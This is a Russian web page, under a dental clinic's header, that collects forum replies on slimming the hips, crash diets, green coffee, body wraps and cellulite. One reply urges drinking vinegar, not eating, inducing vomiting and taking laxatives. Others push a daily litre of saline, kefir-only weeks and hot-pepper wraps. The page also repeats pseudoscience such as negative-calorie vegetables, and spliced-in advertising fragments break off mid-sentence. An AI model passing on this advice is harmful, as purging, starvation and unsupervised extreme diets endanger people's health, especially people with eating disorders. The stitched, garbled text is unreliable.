Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Худеет всё, кроме злосчастных ног(бока, бёдра, и ноги выше колена). Как можно повлиять

Бег, бег и бег. Ваша фигура типично женская, но не стоит расслабляться, надо тренироваться и употреблять больше рыбы, овощей и фруктов.

Для боков и талии крутите обруч с выбоинами не менее 40-ка минут в день, начиная с пяти минут. Для ног, ягодиц есть спец. упражнения в спорт зале.

Проосто у Вас такое телосложение... это -же нормально, для женской фигуры, не переживайте, гораздо хуже было бы, если бы ноги, бёдра и бока были худыми, а наверху-спина, живот и руки сдряблыми складками жира))

Нужно бегать со специальными утежелителями на ногах

Это хароактерно для женщины с нормальным гормональным и генетическим фоном.
советую бегать!

Ой. я тебя умоляю. счастье не в ногах дорогая. а в мужчине!)))))))))))))))))))))

А можно поинтерисоваться сколько времени вы уже на диете и упражнения сколько делаете (я имею ввиду срок) я вот тоже на диете и тесно дружу со спортом, может что нибудь подскажу вам:))))

Это ваша личная генетическая особенность, индивидуальность.
А лучше всего быстрая, энергичная ходьба. Только не бег!

Если бегать нельзя - тогда упражнения на полу для ног: махи стоя на четвереньках вверх, в стороны.. . есть масса упражнений, их можно найти в интернете, набрав в поисковике что-то вроде "упражнения для бёдер"....
Одной диетой похудеть в этих местах трудно.

Попробуйте делать массаж с любыми маслами, которые подходят для похудения. Например амарантовое. Есть специальные массажеры, очень хорошо помогает.

Может и не надо доводить себя до идеала !!Главное не прямо раз-идеальная фигура, а чтобы Вас любили любую !!А все эти малюсенькие складочки .видим только мы сами !!И никто больше не должен о них даже догадываться !!Мы самые стройные и лучше всех !!!

Плавать надо + велосипед

Все очень просто. У косметолога сделайте мезотерапию проблемных мест. Это надолго. Вам понравится!

У меня та же проблема, верх 44 размера, а низ чуть ли не 50, и знаете. что я сделала? ЗАБИЛА!!!! В фигуре главное не вес, а пропорции, живите и радуйтесь жизни!

Светлана! Не майтесь дурью, посмотрела ваши фотки- абсолютно ничего лишнего, у Вас даже склонности к полноте нет!

Секс и велосипед!

У вас прекрасная женская и материнская фигура-
Вашему будущему ребенку повезло! !
Советы все очень хорошие и обязательно слегка подкорректируют Вашу фигуру. .
,
Но особо не зацикливайтесь на этой проблеме.. .
это у вас генетическое
и оно - чуть дадите себе послабление.. .
снова заявит о себе во весь голос... .

Есть зарядка хорошая очень. Мне, с предрасположенностью фигуры-гитары, помогло. Книга называется "Ножки мирового стандарта". Купи ее.

Самые аппетитные места-упорно не ходят превращаться в кости! радуйтесь.... а если вас это всё же напрягает-то только хирургическое вмешательство-но я советую подумать. пышные бёдра и аппетитные ножки -украшение для женщины а не проблема

Попробуй тренажер Лег Меджик

Скраб и Контурный крем+консультант и все булет впорядке. Проверено!!!

Думаю ника да и незачем-плоско выглябеть бут)). у мя таже проблема ((

Как, Вы себя не любите. И всё из-за внимания молодых людей, вернее из -заего низкого процента. Если нет здоровья бегать- тренажёры и тока они. С возрастом и эти Ваши, уверен Вами придуманные недостатки снивелируются, а пока Вы в расцвете и упивайтесь этим. Вон скоеа людей волнуются о Ваших проблах и любит Вас. Не может же так быть, что Вы правы, а мы нет.

Смотрела твои фото, думаю все ок! Хотя. . мне тоже говорят, отлично выгляжу.. а хочется быть еще лучше! Ведь нет предела совершенству!! ! :-))) А повлиять на процесс можно массажем!

Хм. . эток ак серпом по яицам. как можно довести до худения такие сексуальные ноги

Ну тогда упражнения лежа! Махи ногами, упражнения стоя на коленях (махи назад, в сторону) , велосипед (лежа). Но это так долго и убирает совсем немного!

Если бег противопоказан, можно заняться Стрейтчингом, так же дает положительные результаты


Попробуй систему Бодифлекс

А мне помогло катание на роликах
как раз во всех этих проблемных зонах и похудела

А сейчас в моде пышечки!!!!

Велотренажёр

Бегат и бегат

Умница что следишь за собой. Только не зацикливайся. У тебя все гармонично и прекрасно.

А мне кажется, что у Вас великолепная фигурка. А мы мужики любим, когда у женщины круглая налитая попка и в меру округлые бедра. Бог знал, что Вам надо. Гордитесь.

Восточная диета для похудения.
Диета рассчитана на 10 дней. При строгом соблюдении диеты человек теряет за этот период 5-6кг. веса.
8.00. – чашка чая или кофе с кусочком сахара.
11.00. – яйцо сваренное вкрутую, и 8 ягод чернослива.
14.00. – 200гр. отварного костного мяса (можно иногда заменить молочными сосисками) и 100гр. гарнира из капусты или моркови, яблоко или апельсин.
17.00. – 30гр. сыра, яблоко или апельсин.
20.00. – стакан кефира или простокваши.
На этой диете у меня за месяц ушло 13 килограмм.

Ну а что вы хотели. Вы их нарщивали и так быстро хотите убрать. Надо потрудиться. Смените диету на эту : Диета на бонском супе
Праздничные излишества оставляют свой след на животе, бедрах и ягодицах? Сама мысль о диете отравляет вам жизнь? Прочь страхи. Не надо голодать. Все проблемы решит овощной чудо-суп. Идею легких овощных супов, применяемых для похудения, рекламировали уже во всем мире. Французы не мыслят такого универсального супчика без лука-порея, жители Восточной Европы — без цветной капусты и болгарского перца, а россияне — без родимой белокочанной капусты.
Суповая диета хороша в условиях русской зимы, когда свежие фрукты очень дороги и на диете сложно сидеть именно из-за того, что выбор продуктов не подходит для диетического питания. Овощной суп обходится дешево. Благодаря своему составу он просто-таки гарант вашей стройности. Его тщательно продуманный состав включает овощи и приправы, которые в течение одной недели позволят вам без особого труда сбросить до 4 кг.
А секрет совсем прост. Тарелка такого супа, практически обезжиренного, содержит всего 35 ккал. Но вот что важно — витамины, балластные и минеральные вещества образуют в организме ферменты, с помощью которых получаемые калории тут же сжигаются. Одновременно улучшается вывод шлаков и другие очистительные функции. Во-первых, ваш организм перестает получать жирную пищу. Кроме того, лук и зелень способствуют расщеплению жиров. А зеленые овощи имеют отрицательную калорийность, то есть на их переработку организм тратит больше энергии, чем они в себе несут.
Для приготовления такого количества супа, которого одному человеку хватит на 2—3 дня, необходимы:
• небольшой кочан капусты
• 6 морковок
• 6 луковиц
• 2 стручка красного сладкого перца
• пучок сельдерея
• свежий укроп, петрушка, перец
• по желанию можно добавить 1—2 бульонных кубика. Я не добавляла, так как это не натуральный продукт.
3 луковицы, 3 морковки очистить, нарезать большими кусочками, сложить в кастрюлю. Туда же добавить стебли сельдерея, залить водой и варить овощной бульон в течение 10-15 минут после закипания. Затем овощи вынуть.
Оставшиеся овощи нарезать, положить в кастрюлю с бульоном, довести до кипения и варить в течение 10 минут. Затем уменьшить огонь и варить до готовности, приправляя по вкусу горошком и лавровым листом, не солить.
Что можно есть еще
Суп не прибавляет калорий, поэтому вы можете есть его столько, сколько захотите. Однако не следует питаться исключительно этим супом.
Рацион необходимо пополнять другими компонентами.
• Первый день
Ешьте суп и любые фрукты, кроме бананов. Пейте чай или кофе без сахара и молока, клюквенный сок и воду.
• Второй день
Ешьте суп, а также сырые, свежие или консервированные овощи и зелень. Исключите только сушеные бобовые, зеленый горошек и кукурузу. Во время обеда можете съесть печеную картошку с маслом. Не ешьте фруктов. Пейте только воду.
• Третий день
Ешьте суп, фрукты и овощи (исключая печеную картошку, бананы и бобовые) , пейте воду. За три дня вы должны потерять от 2 до 3 кг.
• Четвертый день
Ешьте суп, фрукты и овощи, включая бананы (не более 3 шт.) , пейте снятое молоко и воду.
• Пятый день
Ешьте суп, говядину (300— 600 г в день) и помидоры (свежие или консервированные) . Выпейте 6—8 стаканов воды.
• Шестой день
Ешьте говядину, овощи (особенно листовые) и суп, пейте воду. Не ешьте печеную картошку.
• Седьмой день
Ешьте коричневый рис, неподслащенный фруктовый сок, овощи и суп. Можете добавить в суп или овощи любые пряности. Пейте только воду.
К концу седьмого дня, если вы строго соблюдали диету, вы потеряете от 5 до 9 кг.

Пейте достаточное количество воды. Каждое утро натощак литр физраствора.

Велотренажер тебе поможет!

Есть тренажеры для ного попробуйте

Делай медовый массаж. Очень эффективен.

А вам известна причина набора веса?
сколько вы набрали - 10 кг?

Тогда -- СПОРТИВНАЯ ХОДЬБА !!!

Надо постоянно быть в движении.. Опять же. Пить зелёный чай! Помогают современные тренажёры..

Девушки!Какую вы знаете быструю ЭФФЕКТИВНУЮ диету!?

Неделя одного кефира!

Рецепт горячего обертывания с корицей для похудения может включать различные компоненты мед, оливковое масло, горчицу с перцем.Несмотря на массу полезных свойств, обертывание с корицей имеет противопоказания.

Пей побольше!

Душ шарко.Советую на него ходить, сначала небольшие синяки,а потом стройная фигура.Ещё много пить воду,чай.Чай любой,хорошо зелёный,на Кремлёвскую не советую,будут проблемы со здоровьем!ГЛАВНОЕ ПРАВИЛЬНОЕ ПИТАНИЕ!!!

.
Кремлевская диета
Говорят, что мэр Москвы (сами знаете кто) признался, что с ее помощью похудел на 15 килограммов. Данную диету еще называют диетой американских астронавтов.
Итак, прежде всего следует избегать сладких, мучных, картофельных блюд, хлеба, риса. На первых порах, воздерживаться от овощей, фруктов, соков, содержащих много углеводов. Самое главное - ничего не подслащивать. Сахар, даже 1 кусок, поглотит ваш дневной рацион, а сыты вы им не будете.
Можно есть мясо, рыбу, сыр, овощи с малым количеством углеводов и другую пищу с "низкой стоимостью". В таблице каждый продукт оценен в "у. е. " - условных единицах, в зависимости от того, сколько в данном продукте содержится углеводов.
Наименование продукта, 100 гр. или шт. Очки (у. е. )
Мясо отварное0
Масло растительное0
Майонез0
Маргарин0
Бульон любой0
Минеральная вода0
Кофе без сахара0
Чай без сахара0
Яйцо, 1 шт. 0,5
Колбаса1
Ветчина1
Вино, 250 мл. 1
Виски, 150 мл. 1
Сыр0,5 - 2 в зависимости от сорта
Рыба6
Помидоры, 1 шт. 6
Перец, 1 шт. 9
Капуста отварная9
Мозги12
Суп12 - 16 в зависимости от вида
Яблоки, 1 шт. 18
Картофель отварной, 1 шт. 23
Мед24
Груши, 1 шт. 25
Черный хлеб40
Рис40
Макароны40
Манная каша40
Белый хлеб48
Торт кремовый62
Мороженое сливочное70
Суть диеты в том, что мяса можно есть неограниченное количество, но жестко ограничить потребление углеводов.
Объяснение этой диеты следующее. Когда резко ограничивается поступление в организм углеводов - источника энергии, то он быстренько начинает перерабатывать накопившиеся запасы жира. Поэтому данная диета относится к разряду низкоуглеводных. По этому принципу составлены модные на Западе диеты американских кардиологов Аткинса и Агатстона, польского доктора Квасьневского.
Чтобы похудеть необходимо привести свой суточный рацион к следующим показателям:
- для похудения около 40 у. е. в день.
- для сохранения веса - от 40 у. е. до 60 у. е. У
- увеличение веса происходит при наборе свыше 60 у. е.
- при соблюдении диеты до 40 у. е. можно за 8 дней сбросить 5,5 кг.
Однако, есть у данной диеты и противопоказания. Тем людям, у кого есть хронические заболевания, особенно сердца, сосудов, желудка, надо обязательно согласовать ваше новое меню с лечащим врачом.
Не рекомендуется садиться на кремлевскую диету людям с болезнями почек и беременным женщинам.
Для остальных, не лишним будет перед применением данной диеты проконсультироваться с врачом-диетологом. Помните, если Лужков и в самом деле применял эту диету, каждый его вздох контролировался как минимум личным врачом, а то и целым медицинским центром :)
Обсудить кремлевскую диету на форуме в разделе о кремлевской диете

Итак.... соленый огурец с молоком 6 раз в день!! ! и вы налегке!... шучу... .
фрукты попробуйпоесть.... и низкокалорийно, и питательно и витаминов много...

КЕфир целую неделю один кефир, помогает обалденно, а еще когда хочешь есть обмани желудок выпей стакан воды и тогда есть больше не захочешь!!!

Кремы для похудения.Характеристики товара. Тип изделия Кремы для Похудания. Производитель lajiao.

Завтрак: 1-2 яйца вкрутую,кофе с молоком без сахара.Обед:Чашка больона (говяжий или куриный)75-100 г мяса отварного.Салат из свежих овощей с маслом.Полдник: 75 г сыра ,чай с молоко м без сахара.Ужин: стакан кефира и 75-100г творога.И так 7 дней.Сбросишь 3-4 кг .Проверено не один раз.Но потом не наедайся.Держи себя.Что-то надо исключить,чтобы поддерживать вес.а то можно наесть эти 3-4 кг.

Кефирная, за неделю 2 кило. 3 литра на день и водичка, больше ничего. Если нет противопоказаний. Можно есть из тарелки с ложечки, что бы обмануть мозг, он то требует чтобы хоть раз в день ложкой в ротик еду отправляли. Худейте на здоровье!

Попробуй японскую, ушло за две недели 7 кг, пока не вернулись.

Зеленый кофе, который рекламируют в интернете-лохотрон или реальность?

Ты вот тоже рекламируешь

В стакане смешайте 1 ч.л. масла из пророщенных зерен пшеницы и щепотку болгарского молотого перца.Болгарский перец для похудения и противопоказания к его использованию. Не всем пойдут на пользу пряные и острые блюда.

Это просто необжаренный кофе. Никаких супер свойств он не имеет.)

А мне тоже очень интересно узнать.

Похудеть - лохотрон. Заработать денег на лохах - реальность.

Некоторые проводимые исследования показали, что незначительное потребление зеленого кофе помогает бороться с лишним весом. Однако чрезмерный прием добавок с зелеными кофейными зернами может негативно сказаться на здоровье.
Зеленый кофе: польза
За последние годы многие женщины стали использовать в программах похудения зеленый кофе Зеленые кофейные бобы – это необжаренные зерна кофе. В процессе обжарки зерен разрушается их природные хим. соединения, которые снижают уровень сахара в крови и «блокируют» накопление жира.
Кроме того, необжаренные зеленые бобы стимулируют в организме обменные процессы, улучшают работу головного мозга, нормализуют давление и отток желчи, снижают риск развития онкозаболеваний. Благодаря содержанию в зеленых бобах кофеина, добавки зеленого кофе придают бодрость.
Зеленый кофе: вред
Среди побочных эффектов – головные боли, раздражительность, бессонница, расстройство желудка. Но существуют и противопоказания. Зеленые зерна кофе противопоказаны при:
- сахарном диабете;
- глаукоме;
- остеопорозе;
- синдроме раздраженной кишки;
- нарушениях свертываемости крови;
Если у вас имеется хоть одно из вышеперечисленных заболеваний, от употребления добавок зеленого кофе вам следует отказаться, даже если т. о. вы хотите ускорить процесс похудения. Будьте здоровы!
Перед употреблением зерна перемалывают на кофемолке, а затем варят как обычный кофе - в турке (1-2 ч. л. заливают холодной водой и доводят до кипения) . Если вы захотите обжарить зерна, то по вкусу кофе обжаривают от 5 до 15 минут, после чего также перемалывают и варят. Обжаривать кофе рекомендуется перед употреблением.
Кофейную гущу используют для обертываний, как в салонах, так и в домашних условиях для борьбы с целлюлитом. Кашицу наносят на проблемные зоны, после чего оборачивают зоны пищевой пленкой и ложатся под теплое одеяло минут на 40. Через 40 минут кашицу смывают под душем, а на проблемные зоны наносят антицеллюлитный крем.
При употреблении кофе из зеленых зерен у человека повышается физическая и умственная активность. Масло из зерен зеленого кофе используют в косметологии для укрепления ногтей, волос, массажа, который придает коже упругость, эластичность.
Для похудения лучше всего заваривать перемолотый кофе в френч-прессе. Лучше всего употреблять кофе перед едой, так как он снижает аппетит, и вы не заметите, как будете наедаться небольшими порциями. Прием бодрящего напитка следует совмещать с физическими нагрузками.
У такого положительного во всех отношениях напитка есть минусы. Как и любой вид кофе, зеленый не рекомендуется употреблять людям с повышенным давлением, проблемами желудка (гастрит, язва) , проблемами сердечно-сосудистой системы.

Я пью зеленый кофе и никаких пока чудес особо не вижу, на вкус как сено какое-то. и покупала я его в обычной чайной лавке - 290 руб. )) а не 1500-2000 как в инете. в ашане подруга вообще нашла за 90 руб.

Крем для похудения Xistan с маслом перца предназначен для талии, ягодиц, голеней, рук.Противопоказания беременность, период лактации, индивидуальная непереносимость компонентов крема.

Лучше уксус пить и не жрать а мона и красный молотый перец с молотой корицей в ледяной воде вместо еды тоже и рвоту если кормят насильно и не жри после 6 вечера а то трындец и при уксусе или красном молотом перце с моллотой корицей тоже не кушай а то пиздец на весах не заставит себя долго ждать а и слабительные можно иногда а кофе зеленый там глисты как и в тайских таблетках- всех цветов радуги

Реальность, если сочетать с диетой. Аппетит снижает.

Помогает, отбивает апетит, только подделку не покупайте.

Помогите сдиетами, чтоб похудет?

На ночь стакан кефира и пол-лимона выжать в него!!

1-2 ч. ложек молотого красного перца, 10 граммов корицы, 6 капель цитрусового эфирного масла и 2А затем наносят крема для похудения живота массажные, перцовые или разогревающие илиПротивопоказания для обертываний. Не всем подходят такие средства для похудения...

Рожала?

С утра - кекс, на ночь - секс.

Не ешь углеводы. результат будет хороший.!

На заметку хозяйкам - свежекупленный сыр будет храниться гораздо дольше!
Если не сожрать его в первый же день!

Милая да ты и так красива, зач те это?
Ну а в прочем во тебе пару ссылочек

похудеть с помощью народной медицины!!!! Я топ создал там множество ссылочек на разные сайтыпо твоей теме!!! !
я там серега если шо! ;-)

Масляная вытяжка жгучего перца ускоряет метаболизм в тканях и останавливает процесс старения кожиПротивопоказания к применению крема Витекс от целлюлита.Жидкий каштан для похудения природный жиросжигающий эффект.

Жрать надо меньше, вот эта и диета!!!

Кремлевская диета
Говорят, что мэр Москвы (сами знаете кто) признался, что с ее помощью похудел на 15 килограммов. Данную диету еще называют диетой американских астронавтов.
Итак, прежде всего следует избегать сладких, мучных, картофельных блюд, хлеба, риса. На первых порах, воздерживаться от овощей, фруктов, соков, содержащих много углеводов. Самое главное - ничего не подслащивать. Сахар, даже 1 кусок, поглотит ваш дневной рацион, а сыты вы им не будете.
Можно есть мясо, рыбу, сыр, овощи с малым количеством углеводов и другую пищу с "низкой стоимостью". В таблице каждый продукт оценен в "у. е. " - условных единицах, в зависимости от того, сколько в данном продукте содержится углеводов.
Наименование продукта, 100 гр. или шт. Очки (у. е. )
Мясо отварное0
Масло растительное0
Майонез0
Маргарин0
Бульон любой0
Минеральная вода0
Кофе без сахара0
Чай без сахара0
Яйцо, 1 шт. 0,5
Колбаса1
Ветчина1
Вино, 250 мл. 1
Виски, 150 мл. 1
Сыр0,5 - 2 в зависимости от сорта
Рыба6
Помидоры, 1 шт. 6
Перец, 1 шт. 9
Капуста отварная9
Мозги12
Суп12 - 16 в зависимости от вида
Яблоки, 1 шт. 18
Картофель отварной, 1 шт. 23
Мед24
Груши, 1 шт. 25
Черный хлеб40
Рис40
Макароны40
Манная каша40
Белый хлеб48
Торт кремовый62
Мороженое сливочное70
Суть диеты в том, что мяса можно есть неограниченное количество, но жестко ограничить потребление углеводов.
Объяснение этой диеты следующее. Когда резко ограничивается поступление в организм углеводов - источника энергии, то он быстренько начинает перерабатывать накопившиеся запасы жира. Поэтому данная диета относится к разряду низкоуглеводных. По этому принципу составлены модные на Западе диеты американских кардиологов Аткинса и Агатстона, польского доктора Квасьневского.
Чтобы похудеть необходимо привести свой суточный рацион к следующим показателям:
- для похудения около 40 у. е. в день.
- для сохранения веса - от 40 у. е. до 60 у. е. У
- увеличение веса происходит при наборе свыше 60 у. е.
- при соблюдении диеты до 40 у. е. можно за 8 дней сбросить 5,5 кг.
Однако, есть у данной диеты и противопоказания. Тем людям, у кого есть хронические заболевания, особенно сердца, сосудов, желудка, надо обязательно согласовать ваше новое меню с лечащим врачом.
Не рекомендуется садиться на кремлевскую диету людям с болезнями почек и беременным женщинам.
Для остальных, не лишним будет перед применением данной диеты проконсультироваться с врачом-диетологом. Помните, если Лужков и в самом деле применял эту диету, каждый его вздох контролировался как минимум личным врачом, а то и целым медицинским центром :)

Я хочу попробовать "Худеем вместе". С понедельника и начну. Как говорится, сам Бог велел, - понедельник и 1-е число, самое время чтобы начать. В интернете читала отзывы, в основном положительные. Затрат минимум, причем как физических, моральных, так и материальных. Надеюсь поможет

Зачем истязать организм, будь такой какая ты есть. А самый хороший способ поддерживть себя в форме, это есть меньше, но чаще, а ещё проводить 1-2 часа в треножорном зале или на аэробике.

Система минус 60....принцип на завтрак до 12 есть все что захочешь, не обращая на вредность и на количество каллорий, на обед и ужин (до 18) список определенных сочетаемых продуктов (есть на сайте) , http://www.dieta-da.ru/minus60.htm Екатерина Мириманова, создавшая эту систему прошла через все сама, и похудела со 120 до 60 кг за 1.5 года, там есть также форумы худеющих, общие рекомендации, фото, книги и рецепты автора системы

Обертывание пищевой пленкой для похудения виды обертывания, рецепты смесей, противопоказания.антицеллюлитный крем. Холодное обертывание отличает от горячего состав используемой смеси.Мед, эфирные масла, специи красный молотый перец только...

Да не нужно никаких диет.... Соблюдай режим и исключи сладкое, мучное и т. п.... И никаких поздних ужинов, это очень важно.... А самое главное запомни "Ты ешь, для того, что-бы жить, а не живёшь, для того, что-бы есть"....Главное верь!!!

Колокольчик к холодильнику прицепи.

Гречневая, а потом - коррекция питания, внесение некторых ограничений, иначе все вернется на круги своя...

СЖИГАТЕЛИ ЖИРА:
1. ЗЕЛЁНЫЙ ЧАЙ - РАЗРУШАЕТ ЖИРОВЫЕ КОМКИ
2. АСКОРБИНКА (ЛИМОН) - НАЛАЖИВАЕТ ЖИРОВОЙ БАЛАНС
3. ХВОЩ - ВЫВОДИТ ЯДОВИТЫЕ В-ВА, МЯГКИЙ ДИУРЕТИК
4. АВОКАДО - ДЛЯ ВСЕГО
5. АРБУЗ
6. БРОККОЛИ - витамин С (большое количество)
7. ПОМИДОРЫ - СНИЖАЮТ ТЯГУ К СЛАДКОМУ
8. ГОРЯЧИЙ ЗАВТРАК
9. КАЛЬЦИНИРОВАННЫЙ УЖИН ДО 18 ЧАСОВ - похудение во сне
10.КОНТРАСТНЫЙ ДУШ
11.ДИЕТА ПРИ УБЫВАЮЩЕЙ ЛУНЕ
12.ВЫПИВАТЬ ЖИДКОСТИ ДО 2 ЛИТРОВ В ДЕНЬ
ВОТ ЕЩЕ ПРОДУКТЫ, ПОМОГАЮЩИЕ СБРОСИТЬ ВЕС (испробовала на себе) :
КАПУСТА (Витамин С растворяет жир, калий регулирует водообмен+Общеизвестный факт- ОЧЕНЬ мало калорий)
ЙОГУРТ (Кальций ускоряет обмен веществ, лактоза гасит голод)
БАРАНИНА (Витамин В ускоряет обмен веществ)
МОРСКАЯ РЫБА (Улучшает работу щитовидки, соответственно ускоряет обмен веществ)
ГРЕЙПФРУКТ (Витамин С и горькие вещества регулируют пищеварение и улучшают обмен веществ- я как то год назад на грейпфруктах 10 кило сбросила)
МАТЕ (Большое кол-во микроэлементов+ ускоряют метаболизм)
АНАНАС (В его мякоти есть фермент бромелин кот. расщепляет жир)
Ешьте все, но понемногу!
Теперь про объем пищи. Вот простой способ определить правильный размер порции:
Мясо, рыба, птица= колода карт
сыр= спичечный коробок
орехи=шарик для гольфа
гарниры=тениссный мяч
масло=игральные кости
соус-наперсток
РЕЖИМ:
ДО 15:00 можно есть все
С 15:00 ДО 19:00 низкокалорийную пищу
ПОСЛЕ 19:00 нельзя есть вообще, только пить воду!
Удачного похудения!

Вначале на пару дней или на неделю сесть на жесткую диету (типа гречневой, боннского супа и т. д.) , а потом правильно питаться, и главное - не есть на ночь и спорт хотя бы в мин количествах.

Взять молотую корицу 10 грамм , молотый красный перец 1-2 ч. ложки , подсолнечное масло 2 ст. ложки , эфирное масло цитрусовых 6-7 капель .Обертывания для похудения противопоказания. Нельзя проводить процедуры при беременности гинекологических...

Родственница посоветовала мне вот такую диету, она на ней 11 кг сбросила.
1день
1литр кефира
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
2 день
4 средних апельсина
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
3 день
2 пачки нежирного творога (250 гр)
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
4 день
1 поллитровая банка кабачковой икры
травяной чай
5 день
одна плитка молочного шоколада 100 гр
чай
6 день
1 кг яблок
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
7 день
300 грамм твердого сыра
чай
8 день
1 литр томатного сока
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
9 день
400 грамм вареной говядины
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
10 день
салат с огурцами, помидорами, капустой, с петрушкой, укропом, сельдереем и подсолнечным маслом, соль
чай
11 день
2 пачки нежирного творога (250 гр)
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)
12 день
1 кг свежих слив
1ст. ложка подсолнечного масла
(при желании пару чашек травяного чая)


Диета лариы долиной. проверено

Посоветуйте чем и как бороться против целлюлита,неровной и дряблой кожей на теле?

Шевелимся почаще

Обертывание с красным перцем для похудения.Если во время процедуры ощущается сильное жжение, тогда лучше сразу смыть состав и намазать кожу кремом или маслом для тела, чтобы избежать ожогов.Противопоказания обертывания с перцем.

Медовый массаж очень хорошо помогает, берем мед, начинаем делать массаж, после обертываем и ходим 30 минут смываем эффект кожа как у младенца и более ровная поверхность кожи, делаем через день 14 процедур должно хватить.

А мне нравится целлюлит когда он на женщине есть а особенно когда кожа выглядит как мандариновая кожедца это возбуждает

В Ив Роше хорошие средства от целлюлита и растяжек. + качать пресс (он укрепляет мышцы живота, ягодиц).

Избавление от целлюлита - это долгий процесс. Но смотря какая стадия. Чем больше, тем труднее избавиться. Нужно менять, прежде всего, образ жизни, т. е. заняться спортом, начать правильно питаться, сходить на сеансы антицеллюлитного массажа, а специальные кремы это только бонус ко всем другим прилагаемым вами усилиям.
Вы обязательно должны завтракать, чтобы своевременно активизировать обменные процессы в организме. Не обязательно съедать что-то емкое. Можно ограничиться парой ржаных сухариков с сыром и чаем/кофе/соком.
Ешьте сладкое! Но до 12 часов дня. Это ориентировочная цифра. На самом деле, если вы съедите кусок торта в час - кончено ничего ужасного не произойдет, но лучше все таки придерживаться именно верхней границы - 12. Единственное, что вам придется сделать в свете перемены привычек - отказаться от молочного шоколада.. . нет, вы не будете лишены радости "шоколадоедения" совсем. Вам просто придется перейти на употребление горького шоколада (старайтесь постепенно "наращивать" процент содержания какао) . Поверьте, через несколько месяцев вы будете недоумевать - как это вы раньше могли есть молочный шоколад. Но даже горький шоколад старайтесь есть в первой половине дня.
До 12 вы можете есть абсолютно все, что вам хочется. После часа "Х" в силу вступают некоторые ограничения.
Белый хлеб, если он вам необходим, только в первой половине дня, во второй половине – только ржаные сухарики, или, на худой конец, ржаной хлеб.
Картошка и макароны – старайтесь есть их как можно раньше, в идеале, если вам очень хочется – съешьте их на завтрак, или без мясного блюда, если едите их на обед.
последний прием пищи должен быть не позже «6 часов» . Пишу эту цифру в кавычках неслучайно. Поскольку, если вы ложитесь, допустим, в три часа ночи, вы можете ужинать в последний раз позже, но не позже 8 часов вечера, даже в этом случае. Чем раньше последний прием пищи, тем эффективнее. Но не нужно вставать в фанатизм, съедайте хоть что-нибудь хотя бы часов в 5 вечера, тогда у вас не будет острого чувства голода перед сном и у вас не будет сложностей с засыпанием.
СКРАБ
Ежедневно во время душа необходимо пользоваться кофейным скрабом, который поможет вам устранить целлюлит и растяжки. У кого нет этого добра, делать скраб все равно в качестве профилактики их появления после похудения. Итак, идем в магазин и покупаем молотый кофе, желательно грубого помола. В душе мылимся мылом или гелем и сверху наносим легкими массажными движениями кофе. Сколько кофе? Сколько вам хочется.. . Сколько времени скрабиться? Сколько получится, но каждый день и без фанатизма. Скрабим все тело, кроме груди, и особенно те места, где есть растяжки и целлюлит
Водоросли и глина .
Берем любую (желательно черную) глину, разводим ее небольшим количеством теплой воды.
Размалываем на кофемолке 2 столовые ложки водорослей ламинарии и смешиваем с глиной.
Далее добавляем 5 капель масла лимона, или апельсина.
ВАРИАНТ СМЕСИ ДЛЯ ОБЕРТЫВАНИЙ
Кофе с корицей.
В кофейную гущу добавить апельсиновое масло несколько капель и корицу (10-20 гр) .
Корица очень хорошо согревает.
Кофе с медом.
Заварить молотый кофе кипятком (Н-р: черная карта, 40 руб) + 5капель масла лимона+ 1 ст. ложка меда.
Масса не должна быть жидкой, чтобы не стала течь под пленкой.
Корица с перцем.
Состав: 2 ч. л. молотой корицы, 1-2 ч. л. молотого красного перца (в зависимости от индивидуальной переносимости к жжению и типа кожи) , 2 ст. л. подсолнечного или оливкового нерафинированного масла, 5-7 капель эфирного масла цитрусовых.
Обязательное условие для лучшего эффекта: не пить за 1 час до процедуры и после 1 час.
Массаж с обертыванием + антицелл. баночки

Целлюлит это норма, он есть практически у всех девушек) ) Не заморачивайся на этом, просто больше двигайся и все будет ок)

Крем Чжэли Масло перца эффективно сжигает жира в пять раз быстрее, чем другие крема для похудения. В упаковке находятся два типа крема первый для эффективного и быстрого похудения, а второй для укрепления кожи.

Спорт, правильное питание ( по больше овощей, фруктов) , курс массажа и хороший уход для кожи тела.

Насколько обертывания безопасны?
Если вы страдаете сердечно-сосудистыми заболеваниями, у вас есть какие-то повреждения кожи; варикозное расширение вен, гинекологические заболевания (чтобы избежать согревания области таза) , то обертывания вам противопоказаны. И совершенно очевидно, что нельзя делать обёртывания во время беременности.
самые популярные антицеллюлитные компоненты в салонных обёртываниях:
Во-первых-кофеин. Его можно найти в составе большинства средств для похудения.
Кофеин можно купить в ампулах или таблетках в аптеке, но самый привлекательный способ – сварить кофе и воспользоваться кофейной гущей. Смешать кофейную гущу (2 части) , мед (1 часть) и красный молотый перец (0,5 – 1 ст. л. ) и нанести на кожу (осторожно, аллергены! )
Еще один рецепт с применением кофе – 3 столовые ложки молотого кофе разбавить теплым молоком до густой кашицы, добавить в смесь подогретый каолин (белую глину, предварительно разведенную холодной водой до кашицы, в микроволновке не греть) .
Вторым по популярности компонентом обертываний являются растения, чаще всего морские. Это ламинария, фукус, плющ. В сушеном виде они продаются в лавках жизни и в аптеках.
№1: тщательно перемолоть в кофемолке 2 ст. ложки ламинарии и 2 ст. л. фукуса, залить их крутым кипятком до образования густой кашицы, оставить на полчаса. Далее добавить желток, 10 капель эфирного масла лимона. Можно использовать как в горячем виде, так и в холодном. №2: 3 столовые ложки тщательно перемолотого фукуса и хвоща залить кипятком до образования кашицы. Настоять полчаса, смешать с 3 столовыми ложками голубой глины. Затем добавить ампулу кофеина и 2-3 капли эфирного масла корицы. Использовать в теплом виде, но в микроволновке не подогревать.
В борьбе с целлюлитом популярна также глина. Можно использовать красную, голубую, белую, но я поделюсь с вами своим эксклюзивным рецептом с применением желтой глины. Возьмите 3 столовые ложки желтой глины, залейте ее холодной водой до густой кашицы, затем добавьте столовую ложку сливок и меда. В эту смесь – 3-4 капли эфирного масла апельсина. Обертывание готово! Будет жечь так, будто на бедрах на пленка, а горящие угли, но ожогов нет.
